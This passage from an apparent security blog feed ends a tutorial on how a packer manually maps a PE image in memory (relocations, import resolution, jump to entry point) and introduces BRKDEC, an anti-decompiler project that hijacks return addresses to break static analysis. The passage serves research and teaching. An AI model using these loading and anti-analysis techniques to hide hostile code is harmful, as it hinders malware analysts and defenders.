</div></div><div><div><div>6</div></div><div><span>    </span><span>// Map the section at its RVA</span></div></div><div><div><div>7</div></div><div><span>    </span><span>memcpy</span><span>(</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>image </span><span>+</span><span> </span><span>sections</span><span>[i].</span><span>VirtualAddress</span><span>,</span><span>     // RVA in Mapped Image</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>data </span><span>+</span><span> </span><span>sections</span><span>[i].</span><span>PointerToRawData</span><span>,</span><span>    // File Offset</span></div></div><div><div><div>10</div></div><div><span>        </span><span>sections</span><span>[i].</span><span>SizeOfRawData</span><span>               // Size of Section</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4. Relocation<a href="#4-relocation"><span>#</span></a></h3><p>When a program is linked, the linker records the locations of values
that require base relocation if the image is loaded at a different base address.
To adjust these addresses, “delta” value must be calculated:</p><span><span><span>Delta=LoadedImageBase−PreferredImageBaseDelta = Loaded Image Base - Preferred Image Base</span><span><span><span></span><span>D</span><span>e</span><span>l</span><span>t</span><span>a</span><span></span><span>=</span><span></span></span><span><span></span><span>L</span><span>o</span><span>a</span><span>d</span><span>e</span><span>d</span><span>I</span><span>ma</span><span>g</span><span>e</span><span>B</span><span>a</span><span>se</span><span></span><span>−</span><span></span></span><span><span></span><span>P</span><span>r</span><span>e</span><span>f</span><span>er</span><span>r</span><span>e</span><span>d</span><span>I</span><span>ma</span><span>g</span><span>e</span><span>B</span><span>a</span><span>se</span></span></span></span></span><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// image is the pointer to the allocated memory (loaded image base)</span></div></div><div><div><div>2</div></div><div><span>BYTE </span><span>*</span><span>image </span><span>=</span><span> (BYTE </span><span>*</span><span>)</span><span>VirtualAlloc</span><span>(</span></div></div><div><div><div>3</div></div><div><span>    </span><span>NULL</span><span>,</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>nt</span><span>-&gt;</span><span><span>OptionalHeader.SizeOfImage</span><span>,</span></span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>MEM_COMMIT </span><span>|</span><span><span> MEM_RESERVE</span><span>,</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>PAGE_EXECUTE_READWRITE</span></div></div><div><div><div>7</div></div><div><span>);</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>// ...</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>// Delta = Loaded Image Base - Preferred Image Base</span></div></div><div><div><div>12</div></div><div><span>ULONG_PTR delta </span><span>=</span><span> (ULONG_PTR)image </span><span>-</span><span> nt</span><span>-&gt;</span><span>OptionalHeader.ImageBase;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>The <code>.reloc</code> section stores base relocation entries that describe the locations of values
that must be adjusted when the image is loaded at a different base address.</p><div><div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>IMAGE_OPTIONAL_HEADER</p></span></div><div><span><p>DataDirectory</p></span></div><div><span><p>IMAGE_DIRECTORY_ENTRY_BASERELOC</p></span></div><div><span><p>IMAGE_DATA_DIRECTORY</p></span></div><div><span><p>VirtualAddress</p></span></div><div><span><p>Size</p></span></div>
</div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>IMAGE_OPTIONAL_HEADER</p></span></div><div><span><p>DataDirectory</p></span></div><div><span><p>IMAGE_DIRECTORY_ENTRY_BASERELOC</p></span></div><div><span><p>IMAGE_DATA_DIRECTORY</p></span></div><div><span><p>VirtualAddress</p></span></div><div><span><p>Size</p></span></div>
</div></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>IMAGE_DATA_DIRECTORY reloc_dir </span><span>=</span><span> nt</span><span>-&gt;</span><span>OptionalHeader.</span><span>DataDirectory</span><span>[IMAGE_DIRECTORY_ENTRY_BASERELOC];</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img alt="Reloc Section" loading="lazy" width="1135" height="471" src="/_astro/reloc_01.Dt4CMquq_rBXn5.webp" /><figcaption>Reloc Section</figcaption></figure><p></p><p></p><figure><img alt="Reloc Entries" loading="lazy" width="1036" height="535" src="/_astro/reloc_02.DUM_5OtI_Z14gXB4.webp" /><figcaption>Reloc Entries</figcaption></figure><p></p><p>Each TypeOffset entry contains the relocation type
in the high 4 bits and an offset within the 4 KB relocation page in the lower 12 bits.
The high 4 bits specify the relocation type. In case of x64 images, this is commonly <code>IMAGE_REL_BASED_DIR64</code>.
The low 12 bits are the offset within the 4 KB relocation page.</p><span><span><span>RelocationTargetVA=LoadedImageBase+BlockRVA+OffsetRelocation Target VA = Loaded Image Base + Block RVA + Offset</span><span><span><span></span><span>R</span><span>e</span><span>l</span><span>oc</span><span>a</span><span>t</span><span>i</span><span>o</span><span>n</span><span>T</span><span>a</span><span>r</span><span>g</span><span>e</span><span>t</span><span>V</span><span>A</span><span></span><span>=</span><span></span></span><span><span></span><span>L</span><span>o</span><span>a</span><span>d</span><span>e</span><span>d</span><span>I</span><span>ma</span><span>g</span><span>e</span><span>B</span><span>a</span><span>se</span><span></span><span>+</span><span></span></span><span><span></span><span>B</span><span>l</span><span>oc</span><span>k</span><span>R</span><span>V</span><span>A</span><span></span><span>+</span><span></span></span><span><span></span><span>O</span><span>f</span><span>f</span><span>se</span><span>t</span></span></span></span></span><p>The <code>VirtualAddress</code> can be found in the relocation table.
This VA is NOT a virtual address, it is a RVA (Relative Virtual Address) which means it is an offset.</p><p>Using this information, the packer is now able to adjust absolute addresses:</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// First table.</span></div></div><div><div><div>2</div></div><div><span>IMAGE_BASE_RELOCATION </span><span>*</span><span>reloc </span><span>=</span><span> (IMAGE_BASE_RELOCATION </span><span>*</span><span>)(image </span><span>+</span><span> reloc_dir.VirtualAddress);</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// Loop through each relocation tables</span></div></div><div><div><div>5</div></div><div><span>while</span><span> (reloc</span><span>-&gt;</span><span>VirtualAddress </span><span>&gt;</span><span> </span><span>0</span><span>) {</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>DWORD count </span><span>=</span><span> (</span><span>reloc</span><span>-&gt;</span><span>SizeOfBlock</span><span> </span><span>-</span><span> </span><span>sizeof</span><span>(IMAGE_BASE_RELOCATION)) </span><span>/</span><span> </span><span>sizeof</span><span>(WORD);</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>WORD </span><span>*</span><span>list </span><span>=</span><span> (WORD </span><span>*</span><span>)(reloc </span><span>+</span><span> </span><span>1</span><span>);</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>    </span><span>for</span><span> (DWORD i </span><span>=</span><span> </span><span>0</span><span>; i </span><span>&lt;</span><span> count; i</span><span>++</span><span>) {</span></div></div><div><div><div>10</div></div><div><span>        </span><span>if</span><span> (</span><span>list</span><span>[i] </span><span>!=</span><span> </span><span>0</span><span>) {</span></div></div><div><div><div>11</div></div><div><span><span>            </span></span><span>DWORD type </span><span>=</span><span> </span><span>list</span><span>[i] </span><span>&gt;&gt;</span><span> </span><span>12</span><span>;</span><span>         // TypeOffset High 4 Bits (DIR64)</span></div></div><div><div><div>12</div></div><div><span><span>            </span></span><span>DWORD offset </span><span>=</span><span> </span><span>list</span><span>[i] </span><span>&amp;</span><span> </span><span><span>0x</span><span>0FFF</span></span><span>;</span><span>    // TypeOffset Low 12 Bits (Offset)</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>            </span><span>if</span><span> (type </span><span>==</span><span> IMAGE_REL_BASED_DIR64) {</span></div></div><div><div><div>15</div></div><div><span>                </span><span>// Calculate the address of the relocation target VA.</span></div></div><div><div><div>16</div></div><div><span><span>                </span></span><span>ULONG_PTR </span><span>*</span><span>patch_addr </span><span>=</span><span> (ULONG_PTR </span><span>*</span><span>)(image </span><span>+</span><span> </span><span>reloc</span><span>-&gt;</span><span>VirtualAddress</span><span> </span><span>+</span><span> offset);</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>                </span><span>// Adjust the address with "delta" value.</span></div></div><div><div><div>19</div></div><div><span>                </span><span>*</span><span>patch_addr </span><span>+=</span><span> delta;</span></div></div><div><div><div>20</div></div><div><span><span>            </span></span><span>}</span></div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>    </span><span>// Next relocation table.</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>reloc </span><span>=</span><span> (IMAGE_BASE_RELOCATION </span><span>*</span><span>)((BYTE </span><span>*</span><span>)reloc </span><span>+</span><span> </span><span>reloc</span><span>-&gt;</span><span>SizeOfBlock</span><span>);</span></div></div><div><div><div>26</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section><section><h3>5. IAT Resolve<a href="#5-iat-resolve"><span>#</span></a></h3><p>The <code>.idata</code> section stores import-related data
that describes the DLLs and functions that must be resolved at load time.</p><div><div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>IMAGE_OPTIONAL_HEADER</p></span></div><div><span><p>DataDirectory</p></span></div><div><span><p>IMAGE_DIRECTORY_ENTRY_IMPORT</p></span></div><div><span><p>IMAGE_IMPORT_DESCRIPTOR</p></span></div><div><span><p>OriginalFirstThunk</p></span></div><div><span><p>FirstThunk</p></span></div><div><span><p>INT</p></span></div><div><span><p>IAT</p></span></div>
</div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>IMAGE_OPTIONAL_HEADER</p></span></div><div><span><p>DataDirectory</p></span></div><div><span><p>IMAGE_DIRECTORY_ENTRY_IMPORT</p></span></div><div><span><p>IMAGE_IMPORT_DESCRIPTOR</p></span></div><div><span><p>OriginalFirstThunk</p></span></div><div><span><p>FirstThunk</p></span></div><div><span><p>INT</p></span></div><div><span><p>IAT</p></span></div>
</div></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>IMAGE_DATA_DIRECTORY import_dir </span><span>=</span><span> nt</span><span>-&gt;</span><span>OptionalHeader.</span><span>DataDirectory</span><span>[IMAGE_DIRECTORY_ENTRY_IMPORT];</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>the packer will first identify and read import descriptors.</p><span><span><span>ImportDescriptorLocation=ImageBase+VirtualAddressImport Descriptor Location = Image Base + Virtual Address</span><span><span><span></span><span>I</span><span>m</span><span>p</span><span>or</span><span>t</span><span>D</span><span>escr</span><span>i</span><span>pt</span><span>or</span><span>L</span><span>oc</span><span>a</span><span>t</span><span>i</span><span>o</span><span>n</span><span></span><span>=</span><span></span></span><span><span></span><span>I</span><span>ma</span><span>g</span><span>e</span><span>B</span><span>a</span><span>se</span><span></span><span>+</span><span></span></span><span><span></span><span>V</span><span>i</span><span>r</span><span>t</span><span>u</span><span>a</span><span>l</span><span>A</span><span>dd</span><span>r</span><span>ess</span></span></span></span></span><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// image is the pointer to the allocated memory (loaded image base)</span></div></div><div><div><div>2</div></div><div><span>BYTE </span><span>*</span><span>image </span><span>=</span><span> (BYTE </span><span>*</span><span>)</span><span>VirtualAlloc</span><span>(</span></div></div><div><div><div>3</div></div><div><span>    </span><span>NULL</span><span>,</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>nt</span><span>-&gt;</span><span><span>OptionalHeader.SizeOfImage</span><span>,</span></span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>MEM_COMMIT </span><span>|</span><span><span> MEM_RESERVE</span><span>,</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>PAGE_EXECUTE_READWRITE</span></div></div><div><div><div>7</div></div><div><span>);</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>// ...</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>// Import Descriptor Location = Image Base + Virtual Address</span></div></div><div><div><div>12</div></div><div><span>IMAGE_IMPORT_DESCRIPTOR </span><span>*</span><span>import_desc </span><span>=</span><span> (IMAGE_IMPORT_DESCRIPTOR </span><span>*</span><span>)(image </span><span>+</span><span> import_dir.VirtualAddress);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>IMAGE_IMPORT_DESCRIPTOR</code> is a table that describes information about imported functions of DLLs:
</p><figure><img alt="IMAGE_IMPORT_DESCRIPTOR" loading="lazy" width="1061" height="134" src="/_astro/iat_01.C4RnN993_2wTJQn.webp" /><figcaption>IMAGE_IMPORT_DESCRIPTOR</figcaption></figure><p></p><p>The <code>Name</code> field describes the name of DLL that needs to be imported.
The packer then loads each imported DLL using <code>LoadLibraryA()</code>:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>for</span><span> (; import_desc</span><span>-&gt;</span><span>Name; import_desc</span><span>++</span><span>) {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>// DLL Name from IMAGE_IMPORT_DESCRIPTOR.</span></div></div><div><div><div>3</div></div><div><span>    </span><span>char</span><span> </span><span>*</span><span>mod_name </span><span>=</span><span> (</span><span>char</span><span> </span><span>*</span><span>)(image </span><span>+</span><span> </span><span>import_desc</span><span>-&gt;</span><span>Name</span><span>);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>    </span><span>// Import the DLL.</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>HMODULE h_mod </span><span>=</span><span> </span><span>LoadLibraryA</span><span>(mod_name);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>    </span><span>// ...</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Now, the packer will loop through the imported functions for each DLL and resolve them.
Before resolving the function, the packer needs to determine whether the function is imported by ordinal or by name.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#define</span><span> </span><span>IMAGE_SNAP_BY_ORDINAL64</span><span><span>(</span><span>Ordinal</span><span>) ((Ordinal </span></span><span>&amp;</span><span> IMAGE_ORDINAL_FLAG64)</span><span>!=</span><span>0</span><span>)</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>for</span><span> (; original_thunk</span><span>-&gt;</span><span>u1.AddressOfData; thunk</span><span>++</span><span>, original_thunk</span><span>++</span><span>) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span> (</span><span>IMAGE_SNAP_BY_ORDINAL64</span><span>(</span><span>original_thunk</span><span>-&gt;</span><span>u1</span><span>.</span><span>Ordinal</span><span>)) {</span></div></div><div><div><div>5</div></div><div><span>        </span><span>// ...</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>    </span><span>// ...</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>The packer then resolves each imported function and writes its address into the corresponding IAT “thunk”.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> _IMAGE_THUNK_DATA64 {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>union</span><span> {</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>ULONGLONG ForwarderString;</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>ULONGLONG Function;</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>ULONGLONG Ordinal;</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>ULONGLONG AddressOfData;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>} u1;</span></div></div><div><div><div>8</div></div><div><span>} IMAGE_THUNK_DATA64;</span></div></div><div><div><div>9</div></div><div><span>typedef</span><span> IMAGE_THUNK_DATA64 </span><span>*</span><span>PIMAGE_THUNK_DATA64;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>IMAGE_THUNK_DATA64</code> represents an entry in the INT or IAT.
In the INT, the entry describes how a function is imported,
while in the IAT, the same-sized entry is eventually replaced
with the resolved function address.</p><p>The most significant bit (bit 63) of a 64-bit thunk entry indicates
whether the import is by ordinal. If the bit is set, the low 16 bits contain the ordinal value.</p><p>If the function is resolved using the name, the process is slightly more involved.</p><p></p><figure><img alt="INT Table" loading="lazy" width="1065" height="210" src="/_astro/iat_02.D65FvdBg_1LHbPb.webp" /><figcaption>INT Table</figcaption></figure><p></p><p>The <code>AddressOfData</code> points to the <code>IMAGE_IMPORT_BY_NAME</code> object that contains more detailed information:</p><div><div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>u1.AddressOfData</p></span></div><div><span><p>IMAGE_IMPORT_BY_NAME</p></span></div><div><span><p>Hint</p></span></div><div><span><p>Name</p></span></div>
</div><div><div><span></span></div><div><span></span></div><div><span></span></div><div><span><p>u1.AddressOfData</p></span></div><div><span><p>IMAGE_IMPORT_BY_NAME</p></span></div><div><span><p>Hint</p></span></div><div><span><p>Name</p></span></div>
</div></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>struct</span><span> _IMAGE_IMPORT_BY_NAME {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>WORD Hint;</span></div></div><div><div><div>3</div></div><div><span>    </span><span>char</span><span> </span><span>Name</span><span>[</span><span>1</span><span>];</span></div></div><div><div><div>4</div></div><div><span>} IMAGE_IMPORT_BY_NAME,</span><span>*</span><span>PIMAGE_IMPORT_BY_NAME;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>The <code>Name</code> field holds the name of the function in the DLL.
The <code>Hint</code> field provides an index hint into the ENT (Export Name Table).
Windows uses this <code>Hint</code> field to look up the function faster,
however, packers often do not implement this.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#define</span><span> </span><span>IMAGE_ORDINAL64</span><span><span>(</span><span>Ordinal</span><span>) (Ordinal </span></span><span>&amp;</span><span> </span><span><span>0x</span><span>ffff</span><span>ull</span></span><span>)</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>if</span><span> (</span><span>IMAGE_SNAP_BY_ORDINAL64</span><span><span>(</span><span>original_thunk</span></span><span>-&gt;</span><span><span>u1.Ordinal</span><span>)) {</span></span></div></div><div><div><div>4</div></div><div><span>    </span><span>// Low 16 bits = Ordinal.</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>LPCSTR ordinal </span><span>=</span><span> (LPCSTR)</span><span>IMAGE_ORDINAL64</span><span>(</span><span>original_thunk</span><span>-&gt;</span><span>u1</span><span>.</span><span>Ordinal</span><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>    </span><span>// Import the function using the ordinal number.</span></div></div><div><div><div>8</div></div><div><span>    </span><span>thunk</span><span>-&gt;</span><span>u1</span><span>.</span><span>Function</span><span> </span><span>=</span><span> (ULONG_PTR)</span><span>GetProcAddress</span><span>(h_mod, ordinal);</span></div></div><div><div><div>9</div></div><div><span>} </span><span>else</span><span> {</span></div></div><div><div><div>10</div></div><div><span>    </span><span>//</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>IMAGE_IMPORT_BY_NAME </span><span>*</span><span>iibn </span><span>=</span><span> (IMAGE_IMPORT_BY_NAME </span><span>*</span><span>)(image </span><span>+</span><span> </span><span>original_thunk</span><span>-&gt;</span><span>u1</span><span>.</span><span>AddressOfData</span><span>);</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>    </span><span>// Import the function using the name</span></div></div><div><div><div>14</div></div><div><span>    </span><span>thunk</span><span>-&gt;</span><span>u1</span><span>.</span><span>Function</span><span> </span><span>=</span><span> (ULONG_PTR)</span><span>GetProcAddress</span><span>(h_mod, (LPCSTR)</span><span>iibn</span><span>-&gt;</span><span>Name</span><span>);</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section><section><h3>6. Calling the Entry Point<a href="#6-calling-the-entry-point"><span>#</span></a></h3><p>Now, finally the packer will call the “original entry point” of the mapped program:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typedef</span><span> </span><span>void</span><span> (</span><span>*</span><span>ORIGINAL_ENTRY_POINT)(</span><span>void</span><span>);</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>ORIGINAL_ENTRY_POINT oep </span><span>=</span><span> (ORIGINAL_ENTRY_POINT)(image </span><span>+</span><span> nt</span><span>-&gt;</span><span>OptionalHeader.AddressOfEntryPoint);</span></div></div><div><div><div>4</div></div><div><span>oep</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2026-07-11-brkdec/2026-07-11-brkdec/</id>
      <title type="text">BRKDEC - Anti Decompiler Research &amp; Development</title>
      <published>2026-07-11T00:00:00.000Z</published>
      <updated>2026-07-11T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2026-07-11-brkdec/2026-07-11-brkdec/"/>
      <summary type="text">Break Decompiler - Lightweight Anti-Decompiler Header</summary>
      <content type="html"><![CDATA[<a href="https://github.com/therustymate/BRKDEC" target="_blank"><div><div><div><div></div><div>therustymate</div></div><div>/</div><div>BRKDEC</div></div><div></div></div><div>Break Decompiler - Lightweight Anti-Decompiler Header</div><div><div>—</div><div>—</div><div>MIT</div><span>C</span></div></a>
<p>The concept of this project was derived from prior work:  <a href="https://github.com/android1337/brkida" target="_blank">android1337/brkida</a></p>
<section><h2>Disclaimer<a href="#disclaimer"><span>#</span></a></h2><p>This project and all associated materials are provided <strong>strictly for authorized red teaming and educational and research purposes only.</strong></p><p>This project declares that <strong>it is NOT intended to hinder malware analysis or disrupt DFIR.</strong></p></section>
<section><h2>Executive Summary<a href="#executive-summary"><span>#</span></a></h2><p>BRKDEC is a lightweight anti-decompiler library designed to disrupt static analysis by exploiting fundamental limitations in control flow reconstruction of known commercial decompilers, ultimately to protect sensitive binaries from being reverse engineered.</p></section>
<section><h2>Purpose<a href="#purpose"><span>#</span></a></h2><p>The ultimate goal of this project is to analyze the decompilation process of commercial decompilers, identify their limitations, and thereby develop anti-decompilation techniques. This project is a research initiative developed to investigate anti-decompilation techniques by combining ideas from <a href="https://github.com/android1337/brkida" target="_blank">android1337/brkida</a> with an anti-decompilation technique originally studied in the FrontierGuard project (temporary discontinued).</p></section>
<section><h2>Scope<a href="#scope"><span>#</span></a></h2><p>The scope of this project covers <strong>binaries written in C or C++</strong> which can be reverse engineered with the following decompilers/reverse engineering toolkits:</p><ul>
<li>IDA Free</li>
<li>Ghidra</li>
<li>Binary Ninja</li>
</ul><p>The outcome of this project will be tested on the binaries for the following operating systems:</p><ul>
<li>Windows 11</li>
<li>Windows 10</li>
<li>Ubuntu Linux</li>
</ul><section><h3>Out Of Scope<a href="#out-of-scope"><span>#</span></a></h3><ul>
<li>Packed or self-modifying binaries</li>
<li>Kernel-mode drivers</li>
<li>Heavy obfuscation frameworks (e.g., VM-based obfuscation)</li>
</ul></section></section>
<section><h2>Tools &amp; Environment<a href="#tools--environment"><span>#</span></a></h2><section><h3>Dev Environment<a href="#dev-environment"><span>#</span></a></h3>

<table><thead><tr><th>Environment</th><th>Information</th></tr></thead><tbody><tr><td>Operating System</td><td>Ubuntu 24.04.4 LTS</td></tr><tr><td>Virtualization Engine</td><td>QEMU emulator 8.2.2</td></tr><tr><td>Architecture</td><td>Intel x64</td></tr></tbody></table></section><section><h3>Testing Environment<a href="#testing-environment"><span>#</span></a></h3><ol>
<li>Windows 10 (QEMU virtualized)</li>
<li>Ubuntu 24.04 LTS (Acer Laptop)</li>
</ol></section><section><h3>Compilers<a href="#compilers"><span>#</span></a></h3><ul>
<li>Windows Compiler
<ul>
<li>x86_64-w64-mingw32-gcc (GCC) 13-win32
<ul>
<li><code>x86_64-w64-mingw32-gcc -O2 -o [OUTPUT] [C_CODE]</code></li>
</ul>
</li>
</ul>
</li>
<li>Ubuntu Compiler
<ul>
<li>Ubuntu clang version 18.1.3 (1ubuntu1)
<ul>
<li><code>clang -O2 -s -fvisibility=hidden [C_CODE] -o [OUTPUT]</code></li>
</ul>
</li>
</ul>
</li>
</ul></section></section>
<section><h2>Methodology<a href="#methodology"><span>#</span></a></h2><section><h3>Fundamental Concepts &amp; Definitions<a href="#fundamental-concepts--definitions"><span>#</span></a></h3><p>Fundamentally, <strong>commercial decompilers often statically reconstruct C or C-like pseudocode from assembly instructions within a binary.</strong> A decompilation process often looks like this:</p><ul>
<li>Disassembly
<ul>
<li>Translates machine language into assembly language</li>
<li>Recovers function boundaries</li>
<li>Identifies code sections and data sections</li>
</ul>
</li>
<li>Control Flow Analysis
<ul>
<li>Analyzes branches (if)</li>
<li>Analyzes loops (for/while)</li>
<li>Constructs CFG (Control Flow Graph)</li>
</ul>
</li>
<li>Data Flow Analysis
<ul>
<li>Abstracts variables from registers</li>
<li>Analyzes use of stack and heap memory</li>
<li>Transforms IR (Intermediate Representation) into SSA (Static Single Assignment) form</li>
</ul>
</li>
<li>Type Recovery
<ul>
<li>Identifies integers and pointers</li>
<li>Reconstructs structures (struct)</li>
<li>Infers function parameters and return types</li>
</ul>
</li>
<li>High-level Reconstruction
<ul>
<li>Converts condition branches (if/else) to C-like pseudocode</li>
<li>Converts loops (for/while) to C-like pseudocode</li>
<li>Converts function calls to C-like pseudocode</li>
<li>Removes or restructures low-level control flow (e.g., goto)</li>
<li>Simplifies expressions</li>
</ul>
</li>
<li>Symbol Recovery
<ul>
<li>Applies debug symbols (if present)</li>
<li>Matches known function names (e.g. libraries)</li>
</ul>
</li>
</ul><p>Control Flow Graph (CFG) is <strong>a graph representation of all possible execution paths (flows) within a function, based on branches, loops, and jump instructions.</strong></p><p>Intermediate Representation (IR) is <strong>an abstract representation of code used between source code and machine language</strong> for program analysis and transformation.</p><p>Static Single Assignment (SSA) is <strong>a form of code representation in which each variable is assigned exactly once</strong>, enabling precise data flow analysis.</p></section><section><h3>Techniques &amp; Strategies<a href="#techniques--strategies"><span>#</span></a></h3><p><strong>Commercial decompilers often cannot precisely determine runtime-dependent values</strong> (e.g., return addresses, timestamps, or environment-dependent data). As decompilers heavily rely on the CFG, <strong>conditional branches that depend on runtime values can be exploited to distort CFG reconstruction, resulting in misleading or junk decompiled output.</strong></p></section><section><h3>Validation Method<a href="#validation-method"><span>#</span></a></h3><p>To demonstrate the effectiveness of the outcomes, simple samples written in C and C++ will be divided into two groups: those with BRKDEC applied and those without. For a detailed inspection, IDA Free, Ghidra (+ Cutter), and Binary Ninja will be used to directly compare and analyze the decompilation results.</p><p>I will compare identifiable functions within an obfuscated binary (at least functions whose execution flow can be verified or inferred from decompilation results) with functions inside a regular binary, and quantify the differences for validation.</p></section><section><h3>Validation Standards<a href="#validation-standards"><span>#</span></a></h3><ul>
<li>Pseudocode readability</li>
<li>Variable recovery accuracy</li>
<li>Function boundary accuracy</li>
</ul><p>AND</p><ul>
<li><strong>Loop count</strong></li>
<li><strong>Conditional statement count</strong></li>
<li><strong>flow change count</strong></li>
</ul></section><section><h3>Validation Assumption<a href="#validation-assumption"><span>#</span></a></h3><ul>
<li>The compiled binary does not contain debug symbols</li>
<li>The compiled binary is built with recommended optimizations (-O2)</li>
</ul></section></section>
<section><h2>Research<a href="#research"><span>#</span></a></h2><p>Through three days of experimentation, I have observed that when the return adddress is manipulated to cause an abnormal transfer of execution flow between functions, commercial decompilers fail to precisely track the actual execution path.</p><p>This technique exploits the assumption made by decompilers that normal call/return operations occur within a function. Typically, a decompiler constructs a CFG on an intra-procedural basis, assuming that each function has an identifiable entry point and a <code>ret</code>-based termination/return point.</p><p>However, when the return address is manipulated such that a called function (e.g. <code>thrd_yield</code> in libc) transfers execution flow to a function other than the original caller, the actual execution flow continues across function boundaries. This creates a discrepancy between the CFG constructed by the decompiler and the actual execution flow, ultimately resulting in a function boundary detection failure and accurate pseudocode generation failure.</p><p></p><figure><img alt="BRKDEC_FUNC_BOUNDARY" loading="lazy" width="601" height="521" src="/_astro/BRKDEC_FUNC_BOUNDARY.MztczUSn_tChTl.webp" /><figcaption>BRKDEC_FUNC_BOUNDARY</figcaption></figure><p></p><p><a href="https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/" target="_blank">Ret2 Reverse Engineering Blog</a> also introduced a related technique. In that blog post, an exploit-like stack pivoting technique was demonstrated using a ROP chain embedded within the binary to achieve return hijacking.</p><p>The research presented in that blog focused on malware and anti-decompilation techniques. In contrast, this research focuses more on lightweight anti-decompilation methods.</p><p>The first version was a very simple approach that used <code>push</code> to manipulate the return address. It worked fine for small programs, but I soon realized it couldn’t be applied to multiple functions. I then researched the reason and discovered that the code executed after jumping into printf ended up modifying registers and corrupting the stack. Consequently, I worked with Gemini AI to add stack recovery code.</p><p>(The current project is version 2.0. In the future, I plan to research version 3.0 and a wider range of techniques.)</p></section>
